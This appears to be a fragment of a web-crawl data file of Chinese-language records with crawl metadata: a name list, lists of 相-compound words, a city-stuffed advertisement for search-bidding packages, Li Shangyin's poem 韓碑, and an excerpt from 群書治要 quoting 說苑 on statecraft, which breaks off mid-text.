梁新浩 梁云旖 梁恩兵 梁正中 梁海辉 梁圣颖 梁天博 梁栩原 梁建源 梁华洋 梁思琨 梁浩豫 梁春荔 梁滢阳 梁瑞坚 梁滟湘 梁楷彤 梁玖样 梁桥浩 梁立健 梁小祥 梁靖峰 梁建平 梁思昭 梁子妃 梁忠棋 梁泽琪 梁若浩 梁定文 梁承明 梁翰斌 梁一尹 梁致辉 梁万源 梁靖为\n版权声明\n本文仅代表作者观点,不代表本站立场。\n本文系作者授权发表,未经许可,不得转载。","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.sjtuceo.org\/post\/1259.html","date":"2021-03-08T02:34:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178381803.98\/warc\/CC-MAIN-20210308021603-20210308051603-00017.warc.gz","language":"lzh","language_score":0.9079751372,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9079751372337341, \"cmn_Hani_score\": 0.05350818857550621, \"nan_Hani_score\": 0.03115646354854107}","num_words":203,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.917,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1、相杀 相当 相似图形 相对时间 相切 相朴人 相待而成 相呕 相通 相周 相尾 相反 相家 相尚 相度 相星 相扰 相互尊重 相陵 相轧 相对贫困 相隔。\n2、相生相成 相映成趣 相宾 相趒 相畴 相讥 相悦 相干 相像 相劝 相央 相感 相如渴 相规 相城区 相克 相毙 相对新亭 相板 相嬲 相时 相怜 相隋。\n3、相辅相成 相辅而成 相杂 相濡以泽 相近 相望 相王 相因 相希 相接 相思鸟 相会 相欢 相庄 相死 相招 相字 相杵 相生相克 相尤 相风铜乌 相门出相。\n4、相轻 相妨 相乖 相斫书 相齿 相须 相于 相门 相序 相火 相须而行 相料 相佽 相参 相混 相结 相厉 相谋 相称 相忘 相媳妇 相性 相伴 相对权 相是 相凑 相公 相得益彰 相胥 相忆 相鸟 相间 相联 相背而行。\n本文来源互联网,不代表18号网立场和观点,本站为免费信息提供,转载注明出处:https:\/\/www.m18cc.com\/article\/46045.html","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.m18cc.com\/article\/46045.html","date":"2023-05-28T06:07:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643585.23\/warc\/CC-MAIN-20230528051321-20230528081321-00018.warc.gz","language":"lzh","language_score":0.4727716446,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47277164459228516, \"cmn_Hani_score\": 0.20149995386600494, \"nan_Hani_score\": 0.20077335834503174, \"wuu_Hani_score\": 0.12463495135307312}","num_words":102,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.309,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.519,"perplexity_score":500.0,"cluster_detection":1} +{"text":"九宫格竞价包年是真的吗? 选哪家公司好呢?效果到底怎么样?真的点击不扣费吗?带着这些问题,让九宫格揭开竞价包年的神秘面纱!\n关键词竞价包年服务推广范围:\n锦江区 青羊区 金牛区 武侯区 成华区 龙泉驿区 青白江区 新都区 温江区 都江堰市 彭州市 邛崃市 崇州市 金堂县 双流县 郫县 大邑县 蒲江县 新津县 天府新区 高新区\n北京 延庆 密云 天津 蓟县 静海 宁河 河北 石家庄 邯郸 唐山 保定 秦皇岛 邢台 张家口 承德 沧州 廊坊 衡水 辛集 藁城 晋州 新乐 鹿泉 丰南 遵化 迁安 霸州 三河 定州 涿州 安国 高碑店 泊头 任丘 黄骅 河间 冀州 深州 南宫 沙河 武安 内蒙古 呼和浩特 包头 乌海 赤峰 呼伦贝尔 通辽 乌兰察布 鄂尔多斯 巴彦淖尔 满洲里 扎兰屯 牙克石 根河 额尔古纳 乌兰浩特 阿尔山 霍林郭勒 锡林浩特 二连浩特 丰镇 山西 太原 大同 朔州 阳泉 长治 晋城 忻州 吕梁 晋中 临汾 运城 古交 潞城 高平 原平 孝义 汾阳 介休 侯马 霍州 永济 河津 黑龙江 哈尔滨 齐齐哈尔 黑河 大庆 伊春 鹤岗 佳木斯 双鸭山 七台河 鸡西 牡丹江 绥化 双城 尚志 五常 阿城 讷河 北安 五大连池 铁力 同江 富锦 虎林 密山 绥芬河 海林 宁安 安达 肇东 海伦 吉林 长春 白城 松原 四平 辽源 通化 白山 德惠 九台 榆树 磐石 蛟河 桦甸 舒兰 洮南 大安 双辽 公主岭 梅河口 集安 临江 延吉 图们 敦化 珲春 龙井 和龙 辽宁 沈阳 大连 朝阳 阜新 铁岭 抚顺 本溪 辽阳 鞍山 丹东 营口 盘锦 锦州 葫芦岛 新民 瓦房店 普兰店 庄河 北票 凌源 调兵山 开原 灯塔 海城 凤城 东港 大石桥 盖州 凌海 北宁 兴城 上海 崇明 福建 厦门 福州 南平 三明 莆田 泉州 漳州 龙岩 宁德 福清 长乐 邵武 武夷山 建瓯 建阳 永安 石狮 晋江 南安 龙海 漳平 福安 福鼎 安徽 合肥 宿州 淮北 阜阳 蚌埠 淮南 滁州 马鞍山 芜湖 铜陵 安庆 黄山 六安 巢湖 池州 宣城 亳州 界首 明光 天长 桐城 宁国 江苏 南京 徐州 连云港 宿迁 淮安 盐城 扬州 泰州 南通 镇江 常州 无锡 苏州 江阴 宜兴 邳州 新沂 金坛 溧阳 常熟 张家港 太仓 昆山 吴江 如皋 通州 海门 启东 大丰 东台 高邮 仪征 江都 扬中 句容 丹阳 兴化 姜堰 泰兴 靖江 江西 南昌 九江 景德镇 鹰潭 新余 萍乡 赣州 上饶 抚州 宜春 吉安 瑞昌 乐平 瑞金 南康 德兴 丰城 樟树 高安 井冈山 贵溪 山东 济南 青岛 聊城 德州 东营 淄博 潍坊 烟台 威海 日照 临沂 枣庄 济宁 泰安 莱芜 滨州 菏泽 章丘 胶州 胶南 即墨 平度 莱西 临清 乐陵 禹城 安丘 昌邑 高密 青州 诸城 寿光 栖霞 海阳 龙口 莱阳 莱州 蓬莱 招远 文登 荣成 乳山 滕州 曲阜 兖州 邹城 新泰 肥城 浙江 杭州 宁波 湖州 嘉兴 舟山 绍兴 衢州 金华 台州 温州 丽水 临安 富阳 建德 慈溪 余姚 奉化 平湖 海宁 桐乡 诸暨 上虞 嵊州 江山 兰溪 永康 义乌 东阳 临海 温岭 瑞安 乐清 龙泉 河南 郑州 开封 洛阳 平顶山 安阳 鹤壁 新乡 焦作 濮阳 许昌 漯河 三门峡 南阳 商丘 周口 驻马店 信阳 济源 荥阳 新郑 登封 新密 巩义 邓州 偃师 孟州 沁阳 卫辉 辉县 林州 永城 禹州 长葛 舞钢 汝州 义马 灵宝 项城 湖北 武汉 十堰 襄阳 荆门 孝感 黄冈 鄂州 黄石 咸宁 荆州 宜昌 随州 仙桃 天门 潜江 丹江口 老河口 枣阳 宜城 钟祥 汉川 应城 安陆 广水 麻城 武穴 大冶 赤壁 石首 洪湖 松滋 宜都 枝江 当阳 恩施 利川 湖南 长沙 张家界 常德 益阳 岳阳 株洲 湘潭 衡阳 郴州 永州 邵阳 怀化 娄底 浏阳 津市 沅江 汨罗 临湘 醴陵 湘乡 韶山 耒阳 常宁 资兴 武冈 洪江 冷水江 涟源 吉首 广东 广州 深圳 清远 韶关 河源 梅州 潮州 汕头 揭阳 汕尾 惠州 东莞 珠海 中山 江门 佛山 肇庆 云浮 阳江 茂名 湛江 从化 增城 英德 连州 乐昌 南雄 兴宁 普宁 陆丰 恩平 台山 开平 鹤山 高要 四会 罗定 阳春 化州 信宜 高州 吴川 廉江 雷州 海南 海口 三亚 琼海 文昌 万宁 东方 儋州 五指山 广西 南宁 桂林 柳州 梧州 贵港 玉林 钦州 北海 防城港 崇左 百色 河池 来宾 贺州 岑溪 桂平 北流 东兴 凭祥 宜州 合山 贵州 贵阳 六盘水 遵义 安顺 清镇 赤水 仁怀 凯里 都匀 兴义 毕节 铜仁 福泉 四川 成都 广元 绵阳 德阳 南充 广安 遂宁 内江 乐山 自贡 泸州 宜宾 攀枝花 巴中 达州 资阳 眉山 雅安 崇州 邛崃 都江堰 彭州 江油 什邡 广汉 绵竹 阆中 华蓥 峨眉山 万源 简阳 西昌 西藏 拉萨 日喀则 云南 昆明 曲靖 玉溪 丽江 昭通 思茅 临沧 保山 安宁 宣威 潞西 瑞丽 大理 楚雄 个旧 开远 景洪 重庆 江津 合川 南川 綦江 潼南 铜梁 大足 壁山 垫江 荣昌 武隆 丰都 城口 梁平 开县 巫溪 巫山 奉节 云阳 忠县 酉阳 石柱 秀山 彭水 甘肃 兰州 嘉峪关 金昌 白银 天水 酒泉 张掖 武威 庆阳 平凉 定西 陇南 玉门 敦煌 临夏 合作 宁夏 银川 石嘴山 吴忠 中卫 固原 灵武 青铜峡 青海 西宁 格尔木 德令哈 陕西 西安 延安 铜川 渭南 咸阳 宝鸡 汉中 榆林 商洛 安康 韩城 华阴 兴平 新疆 乌鲁木齐 克拉玛依 石河子 阿拉尔 图木舒克 五家渠 喀什 阿克苏 和田 吐鲁番 哈密 阿图什 博乐 昌吉 阜康 米泉 库尔勒 伊宁 奎屯 塔城 乌苏 阿勒泰","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.jinxing-hotel.com\/jjbn.html","date":"2023-05-28T15:21:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644309.7\/warc\/CC-MAIN-20230528150639-20230528180639-00106.warc.gz","language":"lzh","language_score":0.6324318051,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.6324318051338196, \"nan_Hani_score\": 0.1845107078552246, \"cmn_Hani_score\": 0.1787380874156952}","num_words":737,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.312,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.637,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《韓碑》 年代: 唐 作者: 李商隱 元和天子神武姿,彼何人哉軒與羲。誓將上雪列聖恥,坐法宮中朝四夷。淮西有賊五十載,封狼生貙貙生羆。不據山河據平地,長戈利矛日可麾。帝得聖相相曰度,賊斫不死神扶持。腰懸相印作都統,陰風慘澹天王旗。愬武古通作牙爪,儀曹外郎載筆隨。行軍司馬智且勇,十四萬眾猶虎貔。入蔡縛賊獻太廟,功無與讓恩不訾。帝曰汝度功第一,汝從事愈宜為辭。愈拜稽首蹈且舞,金石刻畫臣能為。古者世稱大手筆,此事不系於職司。當仁自古有不讓,言訖屢頷天子頤。公退齋戒坐小閣,濡染大筆何淋漓。點竄堯典舜典字,塗改清廟生民詩。文成破體書在紙,清晨再拜鋪丹墀。表曰臣愈昧死上,詠神聖功書之碑。碑高三丈字如鬥,負以靈鰲蟠以螭。句奇語重喻者少,讒之天子言其私。長繩百尺拽碑倒,粗砂大石相磨治。公之斯文若元氣,先時已入人肝脾。湯盤孔鼎有述作,今無其器存其辭。嗚呼聖王及聖相,相與烜赫流淳熙。公之斯文不示後,曷與三五相攀追。願書萬本誦萬遍,口角流沫右手胝。傳之七十有二代,以為封禪玉檢明堂基。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.wiki101.com.tw\/archives\/tag\/%E6%9D%8E%E5%95%86%E9%9A%B1%E7%9A%84%E8%A9%A9","date":"2024-02-23T23:37:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474470.37\/warc\/CC-MAIN-20240223221041-20240224011041-00807.warc.gz","language":"lzh","language_score":0.4214258492,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.42142584919929504, \"cmn_Hani_score\": 0.39051082730293274, \"wuu_Hani_score\": 0.04826720058917999, \"nan_Hani_score\": 0.03549317270517349, \"yue_Hani_score\": 0.03373144939541817, \"jpn_Jpan_score\": 0.01828208938241005}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.493,"perplexity_score":500.0,"cluster_detection":1} +{"text":"説 苑\n群書治要卷四十三\n君 道\n河間獻王曰。堯存心於天下。加志於窮民。痛萬姓之罹罪。憂衆生之不遂也。有一民飢。則曰。此我飢之也。有一民寒。則曰。此我寒之也。一民有罪。則曰。此我陷之也。仁昭而義立。德博而化廣。故不賞而民勸。不罰而民治。先恕而後教。是堯道也。\n河間獻王曰。禹稱民無食則我不能使也。功成而不利於民。則我不能勸也。故疏河而道之。鑿江通於九派。灑五湖而定東海。民亦勞矣。然而不怨苦者。利歸於民也。\n禹出見罪人。下車問而泣之。左右曰。罪人不順道使然。君王何爲痛之至於此也。禹曰。堯舜之民。皆以堯舜之心爲心。今寡人爲君也。百姓各自以其心爲心。是以痛之也。\n當堯之時。舜爲司徒。契爲司馬。禹爲司空。后稷爲田疇。夔爲樂正。倕爲工師。伯夷爲秩宗。皋陶爲大理。益掌驅禽。堯不能爲一焉。堯爲君而九子者爲臣。其何故也。堯知九職之事。使九子各受其事。皆勝其任以成功。堯遂乘成功以王天下。是故知人者主道也。知事者臣道也。主道知人。臣道知事。毋亂舊法。而天下治矣。\n明主者有三懼。一曰處尊位而恐不聞其過。二曰得意而恐驕。三曰聞天下之至言而恐不能行。\n師經鼓琴。魏文侯起舞。賦曰。使我言而無見違。師經援琴而撞文侯。不中。中旒。潰之。文侯顧謂左右曰。爲人臣而撞其君。其罪何如。左右曰。罪當烹。提師經下堂一等。師經曰。臣可得一言而死乎。文侯曰。可。師經曰。昔堯舜之爲君也。唯恐言而人不違。桀紂之爲君也。唯恐言而人違之。臣撞桀紂。非撞吾君也。文侯曰。釋之。是寡人之過也。懸琴於城門。以爲寡人符。不補旒。以爲寡人戒。\n臣 術\n人臣之行有(本書有作行)六正則榮。犯六邪則辱。何謂六正。一曰萌牙未動。形兆未見。昭然獨見。存亡之機。得失之要。豫禁乎未然前(前上有之字)。使主超然立乎顯榮之處。如此者。聖臣也。二曰虚心白意。進善通道。勉主以禮義。諭主以長策。將順其美。匡救其惡。如此者。大臣也。三曰夙興夜寐。進賢不懈。數稱於往古之行事。以厲主意。如此者。忠臣也。四曰明察極。見成敗。早防而救之。塞其間。絶其源。轉禍以爲福。使君終以無憂。如此者。智臣也。五曰守文奉法。任官職事。不受贈遺。衣服端齊。食飲節儉。如此者。貞臣也。六曰國家昏亂。所爲不諛(諛作道)。敢犯主之嚴顔。面言主之過失。如此者。直臣也。是謂六正也。\n何謂六邪。一曰安官貪禄。不務公事。與世沉浮。左右觀望。如此者。具臣也。二曰主所言皆曰善。主所爲皆曰可。隱而求主之所好而進之。以快主之耳目。偷合苟容。與主爲樂。不顧其後害。如此者。諛臣也。三曰中實險詖。外貌小謹。巧言令色。又心疾賢。所欲進則明其美。隱其惡。所欲退則明其過。匿其美。使主賞罰不當。號令不行。如此者。奸臣也。四曰智足以飾非。辯足以行説。内離骨肉之親。外妒亂朝廷。如此者。讒臣也。五曰專權擅勢。以爲輕重。私門成黨。以富其家。擅矯主命。以自顯貴。如此者。賊臣也。六曰諂主以邪。墜主於不義。朋黨比周。以蔽主明。使白黑無别。是非無聞。使主惡布於境内。聞於四鄰。如此者。亡國之臣也。是謂六邪。賢臣處六正之道。不行六邪之術。故上安而下治。生則見樂。死則見思。此人臣之術也。\n湯問伊尹曰。三公九卿。大夫列士。其相去何如。對曰。智通於大道。應變而不窮。辨於萬物之情。其言足以調陰陽。正四時。節風雨。如是者。舉以爲三公。故三公之事。常在於道也。不失四時。通於地理。能通不通。能利不利。如此者舉以爲九卿。九卿之事。常在於德也。通於人事。行猷舉繩。通於關梁。實於府庫。如是者。舉以爲大夫。大夫之事。常在於仁也。忠正强諫而無有奸詐。去私立公而言有法度。如是者。舉以爲列士。列士之事。常在於義也。故道德仁義定而天下正。凡此四者。明王臣而不臣。湯曰。何謂臣而不臣。對曰。君之所不名臣者四。諸父。臣而不名。諸兄。臣而不名。先王之臣。臣而不名。盛德之士。臣而不名。是謂大順也。\n貴 德\n聖人之於天下也。譬猶一堂之上也。今有滿堂飲酒者。有一人獨索然向隅而泣。則一堂之人皆不樂矣。聖人之於天下也。譬猶一堂之上也。有一人不得其所者。則孝子不敢以其物薦進也。\n復 恩\n晋文公亡時。陶叔狐從。文公反國。三行賞而不及。見咎犯曰。吾從君而亡。十有三年。顔色黧黑。手足胼胝。今君反國三行賞而不及我。意者君忘我與。我有大故與。咎犯言之文公。文公曰。噫。我豈忘是子哉。夫耽我以道。説我以仁。昭明我名。使我爲成人者。吾以爲上賞。防我以禮。諫我以義。使不得爲非者。吾以爲次賞。勇壯强禦。難在前則居前。難在後則居後。免我於患難中者。吾復以爲次賞。且子獨不聞乎。死人者不如存人之身。亡人者不如存人之國。三行賞之後。而勞苦之士次之。勞苦之士。子固爲首矣。吾豈敢忘子哉。周内史叔興聞之曰。文公其霸乎。昔者。聖王先德後力。文公其當之矣。\n楚莊王賜群臣酒。日暮酒酣。華(華作燈)燭滅。乃有引美人衣者。美人援絶其冠纓。告王曰。今燭滅。有引妾衣者。援得其纓。待(待作持)之矣。促上火視絶纓者。王曰。賜人酒。使醉失禮。奈何欲顯婦人節而辱士乎。乃命左右。今與寡人飲。不絶冠纓者不歡。群臣皆絶纓而上火。盡歡而罷。居二(二作三)年。晋與楚戰。有一臣常在前。五合五獲首而却敵。卒得勝之。莊王怪而問之。對曰。臣往者醉失禮。王隱忍不暴而誅。常願肝腦塗地。用頸血湔敵久(久舊作人。改之)矣。臣乃夜絶纓者也。\n陽虎得罪。北見簡子曰。自今以來。不復樹人矣。簡子曰。何哉。對曰。夫堂上之人。臣所樹者過半矣。朝廷之吏。臣所立者亦過半矣。邊境之士。臣所立者亦過半矣。今夫堂上之人。親却臣於君。朝廷之吏。親危臣於法。邊境之士。親劫臣於兵。簡子曰。唯賢者爲能復恩。不肖者不能。夫樹桃李者。夏得休息。秋得食焉。樹蒺藜者。夏不得休息。秋得其刺焉。今子之所種(種作樹)者蒺藜也。非桃李也。自今已來。擇人而樹之。毋已樹而擇之也。\n政 理\n政有三品。王者之政化之。霸者之政威之。强國之政脅之。夫此三者各有所施。而化之爲貴矣。夫化之不變而後威之。威之不變而後脅之。脅之不變而後刑之。夫至於刑者。則非王者之所貴也。是以聖王先德教而後刑罰。立榮耻而明防禁。崇禮義之節以示之。賤貨利之弊以變之。則下莫不慕義節之榮。而惡貪亂之耻。其所由致之者。化使然也。\n治國有二機。刑德是也。王者尚其德而稀其刑。霸者刑德并凑。强國先其刑而後其德。夫刑德者。化之所由興也。德者養善而進之(進之作進闕)者也。刑者懲惡而禁後者也。故德化之崇者至於賞。刑罰之甚者至於誅。夫誅賞者。所以别賢不肖而列有功與無功也。誅賞繆則善惡亂矣。夫有功而不賞。則善不勸矣。有過而不誅。則惡不懼矣。善不勸而能以行化乎天下者。未嘗聞也。\n齊桓公逐鹿而遠。入山谷之中。見一老公。問之曰。是爲何谷。對曰。爲愚公之谷也。公曰。何故。對曰。以臣名之。公曰。何爲以公名之。對曰。臣故畜牸牛。子大。賣之而買駒。少年曰。牛不能生馬。遂持駒去。傍鄰聞之。以臣爲愚。故名此谷爲愚公之谷。桓公曰。誠愚矣。夫何爲而與之。桓公遂歸。以告管仲。管仲曰。此夷吾之過也。使堯在上。咎繇爲理。安有取人之駒。見暴如此叟者也。是公知獄訟不正。故與之耳。請退而修政。孔子曰。弟子記之。桓公。霸君也。管仲。賢佐也。猶有以智爲愚者。况不及桓公、管仲者乎。\n宓子賤治單父。彈鳴琴。身不下堂。而單父治。巫馬期亦治單父。以星出以星入。日夜不處。以身親之。而單父亦治。巫馬期問其故於子賤。子賤曰。我之謂任人。子之謂任力。任力者固勞。任人者固(舊無固字。補之)逸也。人曰。宓子賤則君子矣。逸四支。全耳目。平心氣。而百官治。巫馬期則不然。弊性事情。勞煩教詔。雖治猶未至也。\n孔子謂宓子賤曰。子治單父而衆悦。語丘所以爲之者。曰。不齊父其父。子其子。恤諸孤而哀喪紀。孔子曰。善。小節也。小人附矣。猶未足也。曰。不齊所父事者三人。所兄事者五人。所友者十一人。孔子曰。父事三人。可以教孝矣。兄事五人。可以教悌矣。友十一人。可以教學矣。中節也。中民附矣。猶未足也。曰。民有賢於不齊者五人。不齊事之。皆教不齊所以治之術。孔子曰。欲其大者。乃於此在矣。昔者。堯舜清微其身。務來賢人。夫舉賢者。百福之宗也。而神明之主也。惜也不齊之所治者小。所治者大。其與堯舜繼矣。\n齊桓公問於管仲曰。國何患。對曰。患夫社鼠。桓公曰。何謂也。對曰。夫社束木而塗之。鼠因往托焉。熏之則恐燒其木。灌之則恐壞其塗。此鼠所以不可得殺者。以社故也。夫國亦有社鼠。人主左右是也。内則蔽善惡於君上。外則賣權重於百姓。不誅之則爲亂。誅之則爲人主所案據腹有之。此亦國之社鼠也。人有酤酒者。爲器甚潔清。置表甚長。而酒酸不售。問之里人其故。里人曰。公之狗猛。人挈器而入。且酤公酒。狗迎而噬之。此酒所以酸不售之故也。夫國亦有猛狗。用事者也。有道術之士。欲明萬乘之主。而用事者迎而齕之。此亦國之猛狗也。左右爲社鼠。用事者爲猛狗。則道術之士不得用矣。此治國之所患也。\n齊侯問於晏子曰。爲政何患。對曰。患善惡之不分。公曰。何以察之。對曰。審擇左右。左右善。則百僚各獲其所宜而善惡分矣。孔子聞之曰。此言信矣。善進。則不善無由入矣。不善進。則善亦無由入矣。\n尊 賢\n人君之欲平治天下而垂榮名者。必尊賢而下士。易曰。自上下下。其道大光。又曰。以貴下賤大得民。夫明王之施德而下下。將懷遠而致近也。朝無賢人。猶鴻鵠之無羽翼。雖有千里之望。猶不能致其意之所欲至矣。是故絶江海者托於船。致遠道者托於乘。欲霸王者托於賢。非其人而欲有功。若夏至之日而欲夜之長也。射魚指天而欲發之當也。雖舜禹猶亦困。而又况乎俗主哉。\n禹以夏王。桀以夏亡。湯以殷王。紂以殷亡。闔廬以吴戰勝無敵於天下。而夫差以見禽於越。穆公以秦顯名尊號。而二世以劫於望夷。其所以君王者同。而功迹不等者。所任异也。是故成王處襁褓而朝諸侯。周公用事也。趙武靈王年五十而餓於沙丘。任李兑故也。桓公得管仲。九合諸侯。一匡天下。失管仲。任竪刁。易牙。而身死不葬。爲天下笑。一人之身。榮辱俱施焉。在所任也。故魏有公子無忌。削地復得。趙任藺相如。秦兵不敢出。楚有申包胥。而昭王反位。齊有田單。襄王得國。由此觀之。國無賢佐俊士而能以成功立名。安危繼絶者。未嘗有也。故國不務大而務得民心。佐不務多而務得賢俊。得民心者民往之。有賢佐者士歸之。文王請除炮烙之刑而殷民從。湯去張網之三面而夏民從。以其所爲順於民心也。故聲同則處异而相應。德合則未見而相親。賢者立於本朝。則天下之豪相率而趍之矣。故無常安之國。無恒治之民。得賢者則安昌。失之者則危亡。自古及今。未有不然者也。\n周公攝天子位七年。布衣之士。執贄而所師見者十人。所友見者十二人。窮巷白屋所先見者四十九人。進善者百人。教士者千人。官朝者萬人。當此之時。誠使周公驕而且吝。則天下賢士至者寡矣。苟有至者。則心心作必。貪而尸禄者也。尸禄之臣。不能存君也。\n齊桓公設庭燎。期年而士不至。於是有以九九之術見者。公曰。九九足以見乎。對曰。臣非以九九爲足以見。臣聞主君待士期年而士不至。夫士之所以不至者。君天下之賢君也。四方之士。皆自以不及。故不至也。夫九九。薄能耳。而君猶禮之。况賢於九九者乎。公曰。善。乃因禮之。期月。四方之士相攜而并至。\n齊宣王坐。淳于髡侍。王曰。先生論寡人何好。髡曰。古者所好四。王所好三焉。王曰。可得聞乎。髡曰。古者好馬。王亦好馬。古者好味。王亦好味。古者好色。王亦好色。古者好士。王獨不好士。王曰。國無士耳。有則寡人亦悦之矣。髡曰。古者有驊騮、騏驥。今無有。王選於衆。王好馬矣。古者有豹象之胎。今無有。王選於衆。王好味矣。古者有毛嬙、西施。今無有。王選於衆。王好色矣。王必將待堯、舜、禹、湯之士而後好之。則禹、湯之士亦不好王矣。宣王默然無以應。\n衞君問於田讓曰。寡人封侯盡千里之地。賞賜盡御府繒帛。而士不至。何也。對曰。君之賞賜不可以功及。君之誅罰不可以理避。猶舉杖而呼狗。張弓而祝鷄矣。雖有香餌而不能致者。害之必也。\n魏文侯從中山奔命安邑。田子方後。太子擊遇之。下車而趍。子方坐乘如故。告太子曰。爲我請君。待我朝哥。太子不悦。謂子方曰。不識貧窮者驕人乎。富貴者驕人乎。子方曰。貧窮者驕人。富貴者安敢驕人。人主驕人而亡其國。大夫驕人而亡其家。貧窮者若不得意。納履而去。安往而不得貧窮乎。太子及文侯。道子方之語。文侯嘆曰。微吾子之故。吾安得聞賢人之言。吾下子方以仁(仁作行)。得而友之。自吾友子方也。君臣益親。百姓益附。吾是以得友士之功。我欲伐中山。吾以武下樂羊。三年而中山爲獻於我。我是以得友武之功。吾所以不少進於此者。吾未見以智驕我者也。若得以智驕我者。豈不及古之人乎。\n齊桓公使管仲治國。對曰。賤不能臨貴。桓公以爲上卿而國不治。公曰。何故。對曰。貧不能使富。公賜之齊國之市租一年。而國不治。公曰。何故。對曰。疏不能制親。公立以爲仲父。齊國大安。而遂霸天下。孔子曰。管仲之賢。不得此三權者。亦不能使其君南面而霸矣。\n桓公問於管仲曰。吾欲使爵腐於酒。肉腐於俎。得毋害於霸乎。管仲對曰。此極非其貴者耳。然亦無害於霸也。桓公曰。何如而害霸乎。對曰。不知賢害霸也。知而不用害霸也。用而不任害霸也。任而不信害霸也。信而復使小人參之害霸也。桓公曰。善。\n田忌去齊奔楚。楚王問曰。楚、齊常欲相并。爲之奈何。對曰。齊使申孺將。則楚發五萬人。使上將軍將之。至。禽將軍首而反耳。齊使眄子將。則楚悉發四封之内。王自出將。僅存耳。於是齊使申孺將。楚發五萬人。使上將軍將。斬其首而反。於是齊王更使眄子將。楚悉發四境之内。王自出將。僅而得免。至舍。王曰。何先生知之早耶。忌曰。申孺爲人侮賢者而輕不肖者。賢不肖俱不爲用。是以亡也。眄子之爲人也。尊賢者而愛不肖者。賢不肖俱負任。是以王僅得存耳。\n正 諫\n易曰。王臣謇謇。匪躬之故。人臣之所以謇謇爲難而諫其君者。非爲身也。將欲以匡君之過。矯君之失也。君有過失。危亡之萌也。見君之過失而不諫。是輕君之危亡也。夫輕君之危亡者。忠臣不忍爲也。\n法 誡(法誡作敬慎)\n昔成王封伯禽於魯。將辭去。周公戒之曰。往矣。子其無以魯國驕士也。我文王之子。武王之弟。今王之叔父也。又相天子。吾於天下不輕矣。然嘗一沐而三捉髮。一食而三吐哺。猶恐失天下之士。吾聞之曰。德行廣大而守以恭者榮。土地博裕而守以儉者安。禄位尊盛而守以卑者貴。人衆兵强而守以畏者勝。聰明睿智而守以愚者益。博聞多記而守以淺者廣。此六守者。皆謙德也。貴爲天子。富有四海。德不謙者失天下。亡其身。桀、紂是也。可不慎乎。故易曰(無曰字)。有一道。大足以守天下。中足以守國家。小足以守其身。謙之謂也。夫天道毁滿而益謙。地道變滿而流謙。鬼神害滿而福謙。人道惡滿而好謙。易曰。謙亨。君子有終。吉。子其無以魯國驕士矣。\n孫叔敖爲楚令尹。一國吏民皆來賀。有一老父後來吊。叔敖曰。楚王不知臣不肖。使臣受吏民之垢。人盡來賀。子獨後來吊。豈有説乎。父曰。有。身已貴而驕人者。民去之。位已高而擅權者。君惡之。禄已厚而不知足者。患處之。叔敖再拜曰。敬受命。願聞餘教。父曰。位已高而意益下。官益大而心益小。禄已厚而慎不敢取。君謹守此三者。足以治楚矣。\n魏公子牟東行。穰侯送之曰。先生獨無一言以教冉乎。公子牟曰。夫官不與勢期而勢自至。勢不與富期而富自至。富不與貴期而貴自至。貴不與驕期而驕自至。驕不與罪期而罪自至。罪不與死期而死自至。穰侯曰。善。\n善 説\n齊宣王出獵於社山。父老相與勞王。王曰。父老苦矣。賜父老田不租。父老皆拜。閭邱先生獨不拜。王曰。父老以爲少耶。賜父老無徭役。先生又不拜。王曰。父老皆拜。先生獨不拜。寡人得無有過乎。閭邱先生對曰。聞大王來游。所以爲勞大王。望得壽於大王。望得富於大王。望得貴於大王。王曰。天殺生有時。非寡人所得與也。無以壽先生。倉廩雖實。以備灾害。無以富先生。大官無缺。小官卑賤。無以貴先生。先生對曰。此非人臣所敢望也。願大王選有修行者以爲吏。平其法度。如此。臣少可以得壽焉。振之以時。無煩擾百姓。如是。臣可少得以富焉。願大王出令。令少者敬老。如是。臣可少得以貴焉。今大王幸賜臣田不租。然則倉廩將虚也。賜臣無徭役。然則官府無使焉。此固非臣之所敢望也。齊王曰。善。\n修 文\n成王將冠。周公使祝雍祝王曰。達而勿多。祝雍曰。使王近於仁。遠於佞。嗇於時。惠於財。任賢使能。\n反 